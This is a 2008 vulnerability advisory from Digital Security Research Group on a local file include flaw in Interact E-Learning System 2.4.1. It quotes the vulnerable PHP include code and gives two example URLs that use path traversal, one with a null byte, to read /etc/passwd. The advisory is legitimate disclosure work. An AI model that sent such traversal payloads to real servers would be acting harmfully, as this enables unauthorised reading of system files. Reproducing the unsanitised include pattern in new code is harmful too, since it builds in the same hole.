Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31 Application: Interact E-Learning System Versions Affected: 2.4.1 Vendor URL: http://sourceforge.net/projects/cce-interact Bug: Local File Include Exploits: YES Reported: 03.07.2008 Vendor response: 04.07.2008 Solution: YES Date of Public Advisory: 21.07.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Interact E-Learning System system has local file include vulnerability in script help/help.php Vulnerable GET parameters "module", "file". Code **** ################################################# $module = isset($_GET['module']) ? $_GET['module']:''; $file = isset($_GET['file']) ? $_GET['file']:''; ... $hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['language'].'/help/'. $module.'/'.$file; if (is_file($hpath)){ require_once($hpath); } else { require_once($CONFIG['BASE_PATH'].'/language/default/help/'.$module.'/'. $file); } ################################################# Example: http://[server]/[installdir]/help/help.php?module=../../../../../../../. ./../../../../../etc/passwd%00 http://[server]/[installdir]/help/help.php?file=../../../../../../../../ ../../../../../etc/passwd Solution ******** This file is no longer required by the system. Remove it from installation. Vendor response: "I have posted an alert to users to remove this from their installations asap and will get it removed from the next release of the package." About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)